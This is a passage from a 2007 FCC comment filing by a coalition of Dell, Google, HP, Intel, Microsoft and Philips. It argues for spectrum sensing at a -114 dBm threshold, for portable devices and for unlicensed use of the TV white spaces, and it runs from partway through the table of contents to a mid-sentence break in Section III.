C. Other Operating Parameters............................................................................ 12
1. Transmit power control............................................................................. 12
2. Other technical considerations.................................................................. 13
D. Testing.............................................................................................................. 18
II. THE COMMISSION SHOULD NOT IMPOSE ADDITIONAL RESTRICTIONS ON
PERSONAL/PORTABLE UNLICENSED DEVICES.................................................... 18
III. THE WHITE SPACES SHOULD BE ALLOCATED FOR UNLICENSED USE............... 21
A. White Spaces are Ill-Suited for Deployment of Licensed Services................ 21
B. Unlicensed Use of White Spaces Will Provide Substantial Benefits. ............ 23
IV. OTHER ISSUES. ..................................................................................................... 29
A. Out of band Emission Limits.......................................................................... 29
B. Direct Pickup Interference/Receiver Desensitization..................................... 29
C. Wireless Microphones. ................................................................................... 29
D. Unlicensed Use in Border Areas..................................................................... 30
CONCLUSION .................................................................................................................... 31
ii
SUMMARY
Dell, Google, Hewlett-Packard, Intel, Microsoft, and Philips (collectively the
“Coalition”) applaud the Commission’s decision to make available portions of unused
spectrum in the television (“TV”) broadcast bands. This decision was a crucial first step
towards providing broadband access to millions of Americans and enabling a wide range
of innovative wireless devices and services which are not practical at higher frequencies.
However, if the Commission adopts overly restrictive technical and operational rules, this
first step could also be the last, depriving the public of tremendous benefits that could be
realized by putting the valuable—but fallow—TV white spaces to use. To ensure that the
white spaces are used to serve the public, the Coalition herein proposes an approach that
will protect incumbent licensees from harmful interference while at the same time
maximizing use of the white spaces by innovative unlicensed devices. Specifically, the
Coalition urges the Commission to implement the following recommendations:
First, with respect to personal/portable unlicensed devices, the Commission
should authorize the use of spectrum sensing technology rather than mandating the geo-
location/database and control signal approaches discussed in the initial Notice of
Proposed Rulemaking. The rigorous testing that the Commission intends to undertake
will confirm that spectrum sensing, when implemented with the correct technical
parameters as proposed herein, is the most reliable and efficient means of avoiding
harmful interference to incumbent licensees. To this end, the Coalition will provide the
Commission with a prototype device for testing purposes so that the Commission can
confirm that the proposed unlicensed devices which the Coalition plans to market will not
cause harmful interference.
iii
Second, the Commission should authorize the use of personal/portable unlicensed
devices contemporaneous with the authorization of fixed devices, and facilitate the use of
personal/portable unlicensed devices by imposing the minimum regulation necessary to
protect incumbent licensees. Technology has advanced sufficiently such that the high
tech industry can manufacture mass market, low power devices for a wide range of
innovative services that will protect licensees from harmful interference. These devices,
however, cannot and should not operate pursuant to the restrictions applicable to fixed
devices; personal/portable devices use lower power than fixed devices, and should be
regulated accordingly. Moreover, a market comprised only of fixed devices would be
much smaller, thereby limiting economies of scale and scope and potentially causing
significant manufacturers to forego market entry—depriving many Americans of
innovative wireless services and technologies.
Third, the Commission should ensure that the TV white spaces are used for
unlicensed operation; spectrum should not be allocated on a licensed basis. The
Commission has concluded correctly that unlicensed operations may be better suited to
adapt to the “shifting spectrum environment” characterized by low power operations in
the TV bands. Indeed, the phenomenal success of the Wi-Fi industry is merely a prelude
to the benefits the country can expect from making unused television spectrum available
on an unlicensed basis. With so much licensed spectrum already available below 1 GHz
(including an additional 60 MHz to be freed up for nationwide licensed use by the DTV
transition in the near future), it simply makes no sense to license the TV white spaces as
well—particularly since licensing of this “Swiss cheese”, power-restricted spectrum will
likely result in substantial underutilization. Moreover, licensing simply is not necessary
iv
to protect incumbent licensees as some would contend; unlicensed manufacturers are
strongly motivated to protect licensed users from harmful interference, and are fully
capable of doing so.
In short, the Coalition strongly urges the Commission to adopt minimal technical
and operational rules that maximize the potential innovative uses of the TV white spaces
while protecting the legitimate rights of licensed users. By doing so, the Commission
will help ensure that all Americans derive the highest benefit from this valuable, yet
presently underused, public resource.
BEFORE THE
FEDERAL COMMUNICATIONS COMMISSION
WASHINGTON, D.C. 20554
In the Matters of
Unlicensed Operation in the TV Broadcast Bands
Additional Spectrum for Unlicensed Devices
Below 900 MHz and in the 3 GHz Band
ET Docket No. 04-186
ET Docket No. 02-380
COMMENTS OF DELL INC., GOOGLE, INC., THE
HEWLETT-PACKARD COMPANY, INTEL CORP., MICROSOFT
CORP., AND PHILIPS ELECTRONICS NORTH AMERICA CORP.
Dell, Google, Hewlett-Packard, Intel, Microsoft, and Philips (collectively the
“Coalition”) applaud the Commission’s decision in the First Report and Order to grant
certain devices access to substantial portions of unused spectrum in the television (“TV”)
broadcast bands.1 This decision represents a crucial first step towards providing
broadband access to millions of Americans and enabling a wide range of innovative
wireless services and technologies, such as self-organizing mesh networks and
distribution of high-definition multimedia content throughout the household. As the
world’s largest producers of consumer electronics, software, semiconductors, personal
computers, and peripheral devices, the Coalition’s members stand ready to commit
substantial resources to bring these advancements to consumers.
The Coalition’s members believe that the phenomenal success of the billion dollar
Wi-Fi industry—which has utilized what was once called “junk” spectrum to lower
1
Unlicensed Operation in the TV Broadcast Bands; Additional Spectrum for Unlicensed Devices Below
900 MHz and in the 3 GHz Band, First Report and Order and Further Notice of Proposed Rule Making,
21 FCC Rcd. 12266 (2006) (“Further Notice” or “FNPRM”).
2
infrastructure costs and enable widespread, flexible broadband access—is merely a
prelude to the benefits that can be achieved from opening up unused TV broadcast
spectrum. For the first time, the public will have access to broadband-capable unlicensed
spectrum below 900 MHz, and industry will be able to offer consumers a range of new
products and services that take advantage of the superior propagation characteristics of
this spectrum. In order to realize this vision, the Commission must strike the appropriate
balance between the interests of incumbent license holders and the public’s right to use
the airwaves in innovative ways. The existing users of the TV bands should be afforded
the interference protection accorded to them by their licenses, but the overreaching
measures proposed by some incumbents extend far beyond the rights their licenses
provide, and are not necessary to protect licensees. 2 In fact, such measures will serve
only to foreclose the benefits that full utilization of these bands can offer to millions of
Americans.
Innovative use of the 2.4 GHz band—which currently accommodates over one
billion devices—has been driven by the substantial flexibility and unlicensed access
afforded to users of that band. Successful utilization of the TV white spaces will require
a similar approach. The Coalition therefore is encouraged by the Commission’s
recognition in the Further Notice that overly restrictive technical rules will render use of
the TV white spaces infeasible, and endorses the Commission’s decision to conduct
independent testing to determine the actual level of interference protection necessary for
incumbents. In short, the Commission should adopt regulations that ensure the maximum
2
For example, broadcasters have opposed the use of portable devices in the white spaces, and also have
opposed allocating spectrum in these bands for unlicensed devices. See generally Joint Comments of
the Association for Maximum Service Television, Inc. and the National Association of Broadcasters
(filed Nov. 30, 2004) (“MSTV and NAB Comments”).
3
flexibility for innovation in the white spaces, while still protecting incumbent licensees
from harmful interference.
I.
THE COMMISSION SHOULD AUTHORIZE SPECTRUM SENSING TECHNOLOGY TO
ENABLE USE OF LOW POWER UNLICENSED DEVICES IN THE TV WHITE SPACES.
A.
Spectrum Sensing Offers the Best Solution for Identifying and
Utilizing Available White Spaces.
The Coalition enthusiastically endorses the Commission’s initial determination
that devices operating in the TV white spaces could employ spectrum sensing to
determine that a particular channel is available for use,3 and encourages the Commission
to authorize spectrum sensing for low power personal/portable devices. Spectrum
sensing will protect incumbent licensees and facilitate spectrum sharing with other low
power devices in the white spaces, while avoiding the operational difficulties and
economic burdens associated with the other interference avoidance mechanisms
identified in this proceeding. In addition, since spectrum sensing does not depend on
third party “assisting” technologies (such as databases of available channels and/or
broadcast beacons) to implement, a spectrum sensing approach will better facilitate the
creation of a mass market for devices – resulting in more affordable consumer products
and more attractive prospects for wireless broadband, including in rural areas. In fact, it
may be the single most significant action taken by the Commission to bring broadband
access to rural America.
3
See FNPRM ¶ 3 (“We propose to require that TV band devices employ spectrum sensing to determine
when TV channels are unused and to incorporate a dynamic frequency selection (DFS) mechanism to
ensure that TV band devices operate only on vacant TV channels.”).
4
1.
Spectrum sensing is a proven, well understood technique.
The primary concern raised to date by incumbent licensees with respect to
spectrum sensing is that this approach is unproven.4 However, this is simply not the case.
Wi-Fi devices operating in the unlicensed bands have been employing spectrum sensing
technology for over 10 years. Moreover, as the Commission has recognized, the
authorization of U-NII devices employing dynamic frequency selection (“DFS”) in the 5
GHz band provides a valuable precedent for the Commission to consider when
determining the appropriate approach for interference avoidance in this proceeding.5 As
discussed below, the Coalition advocates an even more conservative means of detecting
protected signals than that used by U-NII devices. In order to protect incumbent
licensees, the Coalition recommends -114 dBm as the threshold for establishing channel
vacancy, 50 dB more than the Commission requires for U-NII devices.
Although the Commission correctly notes that differences between incumbent
military radar in the 5 GHz band and TV broadcast signals will require modifications to
the U-NII DFS approach, most of these differences make the case for spectrum sensing in
the TV bands even more compelling. Unlike military radar, TV signals are designed to
be detected. While differences between the bands will require different technical
standards, the Coalition is confident that the Commission’s prototype device testing will
confirm that the Coalition’s proposed operating parameters will protect licensees from
harmful interference. Spectrum sensing obviates the need for base stations, geo-location
4
See, e.g., MSTV and NAB Comments at 15 (“While [spectrum sensing] technology may hold promise,
the Commission cannot risk the health of the public’s broadcast television service today on the basis of
technology that may or may not be developed tomorrow.”).
5
See FNPRM ¶ 34 (“We agree that the experience gained in developing the rules for 5 GHz U-NII is
informative in considering the development of sensing techniques in the TV spectrum.”).
5
or control signals, and the Commission should authorize its use for unlicensed
personal/portable devices.
2.
Proposed operating parameters for spectrum sensing.
In its initial NPRM, the Commission proposed to limit the maximum power
output of unlicensed personal/portable devices to 100 mW, with a maximum transmit and
receive antenna gain of 6 dBi.6 In order to further reduce the likelihood of harmful
interference, the Coalition recommends a maximum of 0 dBi for receive and transmit
antennas rather than the 6 dBi gain proposed by the Commission. This restriction will
result in an EIRP which is 6 dB less than was suggested by the Commission. The
Coalition further notes that the operating parameters it suggests below will cause the
unlicensed device to frequently transmit at powers less than its proposed maximum EIRP
of 20 dBm.7
The Commission seeks comment on the appropriate level of sensitivity a device
must have when determining the presence of other signals (i.e., the “detection
threshold”).8 The correct detection threshold must protect existing licensed uses, while at
the same time not being so restrictive as to limit the usefulness of the unlicensed devices
operating in the white spaces. As the Further Notice explains, “a lower detection
threshold infers greater interference protection for services operating in the TV spectrum,
6
See Unlicensed Operation in the TV Broadcast Bands; Additional Spectrum for Unlicensed Devices
Below 900 MHz and in the 3 GHz Band, Notice of Proposed Rule Making, 19 FCC Rcd. 10018 (¶ 22)
(2004) (“Notice” or “NPRM”).
7
See, e.g., discussion of transmit power control, infra p. 12.
8
FNPRM ¶ 35.
6
but could also result in increased false positives as a response to spurious radio noise …
sharply reducing the usefulness of this spectrum for TV band devices.”9
In determining an appropriate detection threshold, the Coalition recommends that
the Commission use Threshold of Visibility (“TOV”) as the measurable and verifiable
proxy for TV channel vacancy at the Grade B Contour. TOV is the received signal level
at the input terminals of the TV receiver below which the DTV receiver cannot reproduce
the transmitted picture. Accordingly, it is reasonable to conclude that a channel is vacant
at a particular time and geographic location when the signal falls below TOV.
The Commission already has determined that existing DTV receivers are able to
provide service until the signal level at the input terminal to the receiver falls below
approximately –84 dBm (TOV) for UHF signals, and slightly higher for VHF.10
However, because the relative position of the TV transmitter, the TV receiver antenna,
and the unlicensed device are unknown, a lower detection threshold is required for the
unlicensed device to determine if a TV channel is vacant. The Coalition proposes that the
detection threshold of the unlicensed device be set by the Commission at 30 dB below the
Commission’s established threshold of visibility, or -114 dBm. As set forth below,
because the Coalition’s prototype device is designed to detect analog as well as digital
signals, the -114 dBm detection threshold also will provide the protection necessary for
licensed wireless microphones and other incumbent analog operations.
9
Id. ¶ 38.
10 DTV receivers currently on the market are able to provide service at TOV at the following signal
levels: -82.2 dBm (low VHF), -83.2 dBm (high VHF), and – 83.9 dBm (UHF). See Stephen R.
Martin, Tests of ATSC 8-VSB Reception Performance of Consumer Digital Television Receivers
Available in 2005, FCC/OET TR 05-1017 at 8-4 (Nov. 2, 2005).
7
While the Commission has expressed some concern that a spectrum sensing
approach could be subject to a “hidden node” problem,11 the -114 dBm detection
threshold proposed by the Coalition provides sufficient margin to resolve this potential
issue. A “hidden node” problem can occur when an obstacle such as a building sits
between a licensee’s signal and the device performing signal detection. Citing this
phenomenon, broadcasters erroneously contend that the unlicensed device would be
unable to protect an otherwise usable TV signal and may begin transmitting, thus causing
harmful interference (e.g., a nearby TV receiver is connected to an antenna on a roof that
is placed above the obstruction blocking the signal to the unlicensed device). However,
there are several reasons why the risk of a hidden node problem is for practical purposes
eliminated in the TV band context using the detection threshold proposed by the
Coalition.
As the Commission has observed, the TV bands have superior propagation
characteristics, 12 which substantially reduce the likelihood that an incumbent licensee’s
signals will be blocked. Moreover, unlike a TV receiver, an unlicensed sensor does not
have to demodulate and reproduce a picture to perform its function. It only has to
confirm the presence of a signal—a task that can be accomplished for signals
substantially weaker than those required to reproduce a transmitted picture. Indeed, as
the Commission explained in the Cognitive Radio NPRM, “[t]he use of a feature detector
much more sensitive than the TV receiver … makes [a hidden node problem] much less
11 See FNPRM ¶ 39 (noting that hidden nodes are a “potential problem” for spectrum sensing and
requesting views on the scope of the problem).
12 See id. ¶ 1 (noting that “transmissions in the TV band are subject to less propagation attenuation than
transmissions in other bands where lower power operations are permitted”).
8
likely.”13 Furthermore, transmit power control (“TPC”) capabilities for TV band
unlicensed devices (discussed below) would further reduce the likelihood of harmful
interference to incumbent licensees in the TV bands.14
As the following examples illustrate, the proposed -114 dBm detection threshold
is more than sufficient to protect broadcast services from harmful interference:
Example 1 - A DTV signal with a 6 dB gain outdoor TV antenna is -90 dBm and
the cable from the antenna to the TV is lossless. The signal at the input of the receiver
will be at TOV or -84 dBm (+6 dB - 90 dBm). Assuming that the building DTV signal
attenuation at the unlicensed device is 15 dB, and the unlicensed device employs a 0 dB
(unity gain) omnidirectional antenna, the received signal at the unlicensed device will be
-105 dBm (-90 dBm - 15dB). So if the detection threshold for the unlicensed device is
set at -114 dBm, the device will conclude that the channel is occupied with 9 dB of
margin to spare.
Example 2 - A TV is attached to a 0 dB (unity gain) indoor antenna instead of an
outdoor antenna. The TV will then receive a signal of -105 dBm (-90 dBm - 15dB)
producing no visible picture. Since the unlicensed device will still receive a signal of
-105 dBm, it will conclude that the channel is occupied and not transmit on it (even
though it would cause no harmful interference even if it did transmit).
13 Facilitating Opportunities for Flexible, Efficient, and Reliable Spectrum Use Employing Cognitive
Radio Technologies; Authorization and Use of Software Defined Radios, Notice of Proposed Rule
Making and Order, 18 FCC Rcd. 26859, 26869 (¶ 25 n. 35) (2003) (“Cognitive Radio NPRM”).
14 See FNPRM ¶ 45 (“[W]e invite comment as to whether we should permit adjustments to any TV band
device operating parameters, such as the detection threshold, if a TV band device operates at a power
level substantially below the limit.”).
9
Though these two simple examples do not represent all possible situations, they do
provide confidence that a -114 dBm detection threshold provides more than adequate
protection. Coalition empirical testing, hopefully to be verified by Commission testing,
eliminates any doubt that -114 dBm is more than sufficient to protect all incumbent
license holders.
In short, spectrum sensing provides a reliable means of determining whether a
particular channel is available for use by an unlicensed device. The Coalition fully
endorses its use and urges the Commisson to do the same.
B.
The Geolocation/Database and Control Signal Approaches are
Neither Practicable nor Desirable.
The Commission also seeks additional comment on the geo-location/database and
control signal approaches discussed in the initial Notice of Proposed Rulemaking in this
proceeding.15 Even assuming that these approaches are feasible, however, the
Commission should not make either approach mandatory for personal/portable devices.
Most importantly, each of these solutions requires the creation and maintenance of
centralized infrastructure to utilize the white spaces, which would eliminate the ability to
create organic, decentralized networks. Thus, mandating either of these approaches
would deprive the white spaces of the flexibility that has characterized the success of the
2.4 GHz band. Concerns raised by the Commission in the Further Notice with respect to
these mechanisms further underscore why a pure spectrum sensing approach provides a
superior alternative for preventing harmful interference to incumbent licensees.
15 Id. ¶¶ 49-55.
10
First, as the Commission has observed, a complete database of TV stations must
be created and updated in real-time.16 The Commission notes that it could rely on a
private party to maintain such a database,17 but this approach would add unnecessary
costs, such as administrative fees for access to the database. An approach dependent on
third party infrastructure deployments could also create a disastrous Catch-22: database
and/or control signal providers may not offer services unless they believe that the number
of unlicensed devices would make it profitable to do so, while manufacturers and service
providers may not invest resources unless they are certain a viable database/control signal
is available. It is therefore easy to conceive of a situation where no one moves forward
and, in spite of the Commission’s efforts, the TV white spaces remain unused.
Moreover, even assuming the existence of a database provider, this approach
raises other operational concerns.18 With respect to the geo-location approach, the
requirement that a base station communicate with an unlicensed device will require a
service provider to lease space to situate the base station. Such a requirement will delay,
if not effectively prohibit, deployment and add substantial additional costs. Professional
installation would add even more costs, and would be inapplicable to personal/portable
devices.
While unlicensed outdoor devices could employ GPS technology in lieu of
professional installation, indoor GPS receivers often are unable to communicate with
16 Id. ¶ 50.
17 Id.
18 See id. ¶ 51 (“If a device is professionally installed, who should be permitted to install it? What is the
appropriate method of determining the required separation from authorized users in the TV bands?
How will the geo-location/database approach protect other authorized services, such as wireless
microphones, the location of which may not be included in the databases?”).
11
GPS satellites. The Commission has asked about the possibility of implementing
Assisted GPS (“AGPS”) to make position fixes more likely in areas where GPS signals
are weak,19 but AGPS requires access to a reference network—such as the cellular
networks deployed by CMRS providers—to “assist” the GPS receiver by transmitting
data that helps the device determine its location. To the Coalition’s knowledge, no
CMRS provider has made access to their networks commercially available for this
purpose. Even assuming that such access could be obtained, it would add yet another
unnecessary cost for devices, further decreasing the likelihood of economic viability.
Addressing the above issues might make a geo-location/database approach a
technologically viable mechanism for interference avoidance, but at best it would remain
more cumbersome and significantly more costly than a spectrum sensing approach, with
no offsetting benefit.
A solution based on control signals presents even greater implementation
concerns.20 As with geo-location, sending a control signal to a device containing a listing
of vacant TV channels in the signal’s service area would require the creation and
maintenance of a real-time TV database, with the resulting unnecessary costs. A number
of parties also have raised concerns about such an approach even in areas where control
signals would be available, including conflict of interest problems associated with
19 Id. ¶ 51 n. 64.
20 While the NPRM initially proposed a control signal requirement for personal/portable unlicensed
devices, the FNPRM recognized the possibility that “one interference avoidance scheme could be used
effectively for both types of TV band devices.” FNPRM ¶ 25. For the reasons set forth below, the
Coalition strongly opposes a mandatory control signal requirement, and urges the Commission to make
clear that it will not impose such a requirement on personal/portable devices.
12
allowing broadcasters to operate and/or charge for access to control signal information,21
as well as the potential for devices to receive conflicting signals from multiple sources.22
C.
Other Operating Parameters.
1.
Transmit power control.
The Commission proposes to employ transmit power control (“TPC”) limits for
unlicensed devices operating in the TV band.23 The Coalition supports TPC
requirements, which “further reduce the potential for interference”24 and provide an even
greater degree of confidence that a spectrum sensing approach will protect incumbent
users. Consistent with the requirements for U-NII devices in the 5 GHz band, the
Commission proposes to require a TPC dynamic range of 6 dB, and asks whether a
greater dynamic range of power limits might be appropriate as long as that power level is
still sufficient to communicate.25 The Coalition suggests a minimum TPC dynamic range
of 20 dB, which will provide 14 dB more protection than was proposed by the
Commission.26 Moreover, this recommendation is in addition to the 6 dB reduction from
the original operating parameters proposed in the NPRM that will be realized by using
antennas with a maximum of 0 dBi (unity gain). Coalition members plan to design
devices that, while capable of transmitting at a maximum power of 100 mW EIRP, will
21 Id. ¶ 53.
22 Id.
23 Id. ¶ 45.
24 Id.
25 Id.
26 Id.
13
employ TPC whenever possible to ensure that the minimum power required for reliable
transmission between the transmitter and the receivers within range is used.
2.
Other technical considerations.
The Commission also seeks comment on a number of specific proposals regarding
technical rules necessary to implement a spectrum sensing approach.27 The Coalition
agrees that the majority of these proposals will help ensure the successful implementation
of spectrum sensing for unlicensed devices operating in the TV band.28
Channel availability check time, move time, and non-occupancy period - The
Coalition agrees with the Commission that unlicensed devices should establish that a TV
channel is vacant at a particular time and geographic location before transmitting. The
Commission asks whether there is a need to provide a specific period of time over which
initial sensing must occur.29 It should not. There is no need to specify a standard sensing
interval for all devices, as the optimum check time for each device will be dictated by
algorithms implemented by each manufacturer to meet the minimum threshold of
detection requirements that the Commission ultimately requires. The Commission should
specify only the required threshold of detection, and the time to sense that level should be
left to the manufacturer, provided the prerequisite sensitivity is achieved before a signal
is transmitted.
27 Id. ¶¶ 40-48.
28 Id. ¶ 34 (“Based on our experience in developing the spectrum sensing rules for 5 GHZ U-NII devices,
we do, however, believe that the DFS approach in those rules can, with appropriate modifications, be
applied to TV band devices.”).
29 Id. ¶ 41.
14
The Coalition also believes that a requirement to re-check a particular channel in
use by an unlicensed device operating in the TV bands would not be unreasonable,30
though a requirement to re-check every 10 seconds is wholly unnecessary and would
reduce the throughput of unlicensed devices with no appreciable increase in protection
for broadcasters. Rather, in light of the “always on” nature of incumbent licensees, a re-
check requirement on the order of one minute is more appropriate. With respect to move
time after a station’s presence is detected, however, the Coalition believes that the period
of 10 seconds proposed by the Commission in the First Report and Order is sufficient.31
Finally, the Coalition agrees with the Commission that it is unnecessary to
establish a fixed period during which an unlicensed device operating in the TV bands
must stay off the air in a particular channel after the device determines that the channel is
occupied.32 As the Commission has observed, incumbent licensees will receive adequate
protection from unlicensed devices operating in the TV bands, even without a
requirement to stay off a channel for a particular period of time—as devices still will be
required to confirm that a channel is unoccupied at the commencement of operation and
to periodically monitor that channel for use by incumbent licensees.33
Adjacent Channel Interference - The Commission has recognized that low power
personal/portable devices are not likely to pose an interference problem when operating
30 Id.
31 See id. Appx. B, Proposed Rules, § 15.707(f)(iii).
32 Id. ¶ 41.
33 Id. ¶ 41.
15
in channels adjacent to channels occupied by TV signals.34 Nevertheless, the
Commission seeks comment on the need for adjacent channel sensing by such devices.35
Although the potential for harmful adjacent channel interference by low power
personal/portable devices operating within the parameters proposed herein is small, the
Coalition is not opposed to some measures to provide a greater degree of confidence that
incumbent licensees will not face harmful interference. The Coalition plans to utilize
TPC combined with over-the-air sensing to achieve Commission-mandated adjacent
channel D/U (desired to undesired) signal ratios, and is confident that Commission
testing of the Coalition’s prototype will verify that this approach is more than adequate to
project incumbent licensees on adjacent channels.
The Coalition’s own testing strongly suggests that the FCC laboratory will be able
to confirm that an outright ban on adjacent channel usage by low power devices is not
necessary or advisable, and will serve only to create an artificial scarcity of white spaces
in congested areas. The ability to offer devices that will work in both urban and rural
areas will create a substantially more robust market—with resulting economies of scale
and scope—than would a market made up of devices that could operate only in rural
areas.
Sensing bandwidth - The Commission also has inquired as to whether it should
specify a particular minimum sensing bandwidth in addition to the detection threshold.36
34 NPRM ¶ 30 (“We … believe that the requirements needed to protect television service from digital
unlicensed devices should be limited to co- and adjacent channel operations only for fixed/access
operations and co-channel operations only for personal/portable operations.”).
35 FNPRM ¶ 42.
36 Id. ¶ 43.
16
It should not. Consistent with the Coalition’s view that the Commission should mandate
performance requirements rather than specific implementation schemes, industry should
be allowed to determine the implementation that works best for each device. In this way,
the Commission can ensure that innovative approaches to interference avoidance are not
stifled by “one size fits all” implementation requirements.
Antenna Requirements - The Commission has proposed the use of an omni-
directional antenna with a gain of 0 dBi (unity gain) for sensing, and asks what
considerations need to be taken into account if devices use a gain antenna for
transmitting.37 As noted above, the Coalition is not opposed to a requirement that both
receive and transmit antennas have a maximum gain of 0 dBi, which will provide further
assurances that incumbent licensees will be protected from harmful interference.
The Commission also asks whether it should establish minimum transmit height antenna
requirements or require reduction in power when antennas are above a certain height.38
The Coalition believes that, for personal/portable devices, height restrictions should not
be imposed since they would be impossible to administer and are unnecessary given the
low power (below 100 mW EIRP) at which these devices would operate. However, the
Coalition recommends that devices should not have antennas that can be removed by the
consumer, and that consumers should not be permitted to connect devices to separate
external antennas.
Spectrum Sharing - The Coalition applauds the Commission’s recognition that
industry has the capability to develop standards and protocols that will facilitate sharing
37 Id. ¶ 44.
38 Id.
17
of TV white spaces.39 However, the Coalition also agrees with the Commission that the
ability of a single device or network to monopolize a particular channel or geographic
area would dramatically decrease the usefulness of these bands.40 Thus, the Coalition is
not opposed to a minimal regulatory requirement to ensure spectrum sharing among
devices. Specifically, the Coalition proposes a maximum channel occupancy time of 400
milliseconds, to be followed by a minimum 100 microsecond interval during which the
device may not transmit on the previously vacated channel. Because this restriction will
be more than sufficient to ensure that one device does not monopolize a particular
channel, the Commission should not impose additional restrictions, such as prohibiting
simultaneous transmission on more than one channel, on unlicensed devices.
Distributed Sensing – Finally, the Commission has inquired about the possibility
of implementing a requirement that TV band devices share channel availability
information (“distributed sensing”) to reduce the threat of harmful interference.41 As
discussed above, the Coalition has determined that a detection threshold of -114 dBm is
more than sufficient to protect incumbent licensees. While the availability of distributed
sensing presumably would allow the operation of devices with a less conservative
detection threshold, the Coalition believes that the best approach would be to require all
devices to operate at -114 dBm to ensure operation even in instances where channel
availability information from other unlicensed devices may be unavailable.
39 Id. ¶ 47.
40 Id.
41 Id. ¶ 39.
18
D.
Testing.
The Coalition enthusiastically endorses the Commission’s commitment to
perform lab testing to determine the true potential for harmful interference to incumbent
licensees by devices operating in the TV white spaces.42 Rules for operation in TV white
spaces should be guided by how actual prototype devices perform in a series of objective
and unbiased tests, rather than on speculation fueled by experiments based on devices
that no one plans to build with RF outputs designed to maximize interference. The
Coalition already has responded to the invitation of the Office of Engineering and
Technology to submit a prototype TV band device for testing,43 and will provide a
prototype in the near future.
It is the Coalition’s belief that the Commission’s testing will confirm that the
proposed device will protect incumbent licensees from harmful interference, and that
personal/portable devices utilizing spectrum sensing are a viable approach that not only
should be permitted, but encouraged. If requested to do so, the Coalition stands ready to
provide the Commission with qualified engineers to aid in the testing under Commission
supervision and be available to answer questions concerning the prototype device.
II.
THE COMMISSION SHOULD NOT IMPOSE ADDITIONAL RESTRICTIONS ON
PERSONAL/PORTABLE UNLICENSED DEVICES.
Although the Commission’s initial Notice proposed using different interference
avoidance mechanisms for fixed/access and personal/portable unlicensed devices, the
Commission recognized in the Further Notice that certain interference avoidance
42 Id. ¶ 3.
43 See Public Notice: Office of Engineering and Technology Invites Submittal of Prototype TV Band
Devices for Testing, DA 06-2571 (rel. Dec. 21, 2006).
19
schemes could be employed for both fixed and personal/portable devices.44 While the
Commission has expressed concern that personal/portable devices could present a greater
threat of harmful interference and interfering devices could be more difficult to locate,45
these concerns—even if valid—are more than offset by the much lower power at which
personal/portable devices operate. More fundamentally, however, the Commission can
alleviate harmful interference concerns by setting the underlying performance criteria it
expects the devices to meet, and then allowing industry to implement the means to meet
those criteria. As set forth in greater detail above, the spectrum sensing approach works
for personal/portable devices, and the Coalition is confident that the Commission’s
independent tests will confirm these results.
The Coalition is particularly concerned that the Commission’s initial
determination to permit the use of fixed devices, but to seek further comment on
personal/portable devices,46 could presage delays in authorizing—or even failure to
authorize—the use of such devices. Failure to authorize personal/portable devices would
be a major blow to U.S. competitiveness and the nation’s consumers. Fixed devices can
only be deployed if there is a service provider willing to invest in base station
infrastructure and lease locations to situate base stations. In addition, as envisioned by
the Commission, fixed devices must avoid adjacent channel operations, excluding access
to significant amounts of spectrum in congested urban areas.
44 FNPRM ¶ 25.
45 Id. ¶ 18.
46 Id. ¶ 2.
20
These requirements will at best delay implementation and add significant
unnecessary costs, increasing the likelihood that service providers will deploy
infrastructure only in the most lucrative markets—once again depriving rural America of
advances in broadband technology. In addition, the devices themselves will be much
more expensive; the relatively limited deployment that a fixed requirement entails would
create a far smaller market, thus limiting economies of scale and scope. Perhaps most
importantly, the increased cost to consumers and the limited market would cause
manufactures to reassess whether they should enter this market at all.
Delaying the eventual authorization of personal/portable unlicensed devices
would also be a serious mistake. The Coalition fully endorses the Commission’s
commitment to allow the sale of TV band devices as of February 17, 2009, 47 and
strongly urges the Commission not to change this date even in the unlikely event that the
DTV transition is delayed. The Coalition has a personal/portable prototype specifically
developed for the TV bands available today, and has solid roadmaps for delivery of
innovative TV band unlicensed devices in the near term. Any concerns that the
Commission has that may require further study and analysis are best accomplished now,
while the Coalition and various other companies are eager to commit resources to help.
Continuing to postpone a ripe decision (as the Commission has for the last two years)
will inevitably drive domestic industry resources away from the TV white spaces. The
time for the Commission to act is now—so that consumers can enjoy innovative products,
and the U.S. can take the competitive lead in this space.
47 Id. ¶ 16.
21
III.
THE WHITE SPACES SHOULD BE ALLOCATED FOR UNLICENSED USE.
A.
White Spaces are Ill-Suited for Deployment of Licensed Services.
As the Commission has observed, allocating spectrum via license is appropriate
when spectrum rights are (1) clearly defined; (2) exclusive; (3) flexible; and (4)
transferable. 48 Spectrum rights lacking these attributes are more efficiently allocated
through unlicensed operation.49 The Further Notice provides ample evidence that the TV
white spaces do not meet the Commission’s criteria for licensed operation. Most
significantly, a licensing regime will not lessen any of the obligations that would be
imposed on devices under an unlicensed model. Devices still must transmit at lower
power than typical licensed use, deploy a reliable means of determining whether a
channel is in use by an incumbent licensee, and cease operation in cases where that
spectrum is or becomes occupied by a licensee with a higher authorization.50 Such
restrictions are not imposed on licensed use as a matter of course, and the Commission is
therefore right to be concerned that “Unlicensed operations may … be better able to
dynamically adapt to a shifting spectrum environment characterized by low power
operation.”51 The Coalition concurs with the Commission; unlicensed operations are
better able to adapt to a shifting spectrum environment, and thus are the appropriate use
for the TV white spaces.
48 Id. ¶ 27.
49 Id. ¶ 27.
50 See id. ¶ 28.
51 Id. ¶ 29.
22
The fact that the “Swiss cheese” patterns of available TV white space spectrum
are impractical to license is perhaps best illustrated by the Commission’s proposed
channel re-check requirements. Devices must monitor spectrum because their “right” to
transmit on a particular channel can be foreclosed at any time (for instance when a
licensed wireless microphone commences operation), a situation that stands in stark
contrast to the certainty typically afforded by a license.52 Moreover, TV band devices
must implement power limits and other inflexible restrictions, and the ability to transmit
is contingent on the unpredictable actions of others, including incumbent users with
higher status (such as licensed wireless microphones). What happens, for example, to a
TV white space licensee if the Commission decides to license a wireless microphone
operator or another broadcaster within the territory of that white space licensee? TV
band allocations do and will change, and it is hard to envision that any party would bid
aggressively for a license filled with such restrictions and uncertainties.
Finally, the Commission asks briefly whether it should consider a non-exclusive
licensing model.53 It should not. The Commission began this proceeding with the
recognition that the “significant growth of and consumer demand for unlicensed wireless
broadband applications” supported opening up the white spaces for unlicensed use.54
Attempting to meet that demand by issuing a substantial number of non-exclusive
licenses would impose significant burdens and expense on applicants as well as the
52 As the Commission has recognized, the amount of available spectrum not only varies dramatically
based on geography, but also could be subject to change at a given time within a particular location. Id.
¶ 28.
53 Id. ¶ 31.
54 NPRM ¶ 7.
23
Commission, with no offsetting benefit. The Coalition urges the Commission to reject a
non-exclusive licensing model, which would amount to nothing more than an
unnecessary registration requirement for white space use.
B.
Unlicensed Use of White Spaces Will Provide Substantial Benefits.
Even if the Commission were to successfully allocate TV white space spectrum to
